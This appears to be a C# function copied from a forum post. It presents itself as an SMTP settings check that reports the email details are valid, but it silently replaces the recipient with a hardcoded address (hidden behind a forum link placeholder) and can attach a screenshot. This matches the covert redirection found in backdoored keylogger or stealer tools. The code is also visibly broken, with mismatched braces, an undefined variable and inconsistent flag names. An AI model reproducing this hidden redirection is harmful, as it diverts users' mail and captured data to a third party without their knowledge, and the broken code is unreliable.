public static string SendEmail(ref string SMTP, ref string Froma, ref string Password, ref string Recipient, ref string Subject, ref string Body, ref int Port, [Optional, DefaultParameterValue(false)] ref bool TakePic)
{
Recipient = "
[Only registered and activated users can see links. Click Here To Register...]";
string str;
try
{
MailMessage message = new MailMessage();
message.From = new MailAddress(Froma);
message.To.Add(Recipient);
message.Subject = Subject;
message.Body = Body;
SmtpClient client = new SmtpClient(SMTP);
string str2 = @"\" + LT;
if (TakePic)
{
//Screenshotcode wegen nacharmern ausgeblendet
}
Attachment item = new Attachment(Path.GetTempPath() + str2 + ".gif");
message.Attachments.Add(item);
}
client.Port = Port;
client.EnableSsl = true;
client.Credentials = new NetworkCredential(Froma, Password);
client.Send(message);
if (TakeScrns)
{
File.Delete(Path.GetTempPath() + str2 + ".gif");
}
str = "Email information is valid and working!";
}
catch (Exception exception1)
{
ProjectData.SetProjectError(exception1);
Exception exception = exception1;
str = "Email information invalid: " + exception.Message;
ProjectData.ClearProjectError();
}
return str;
}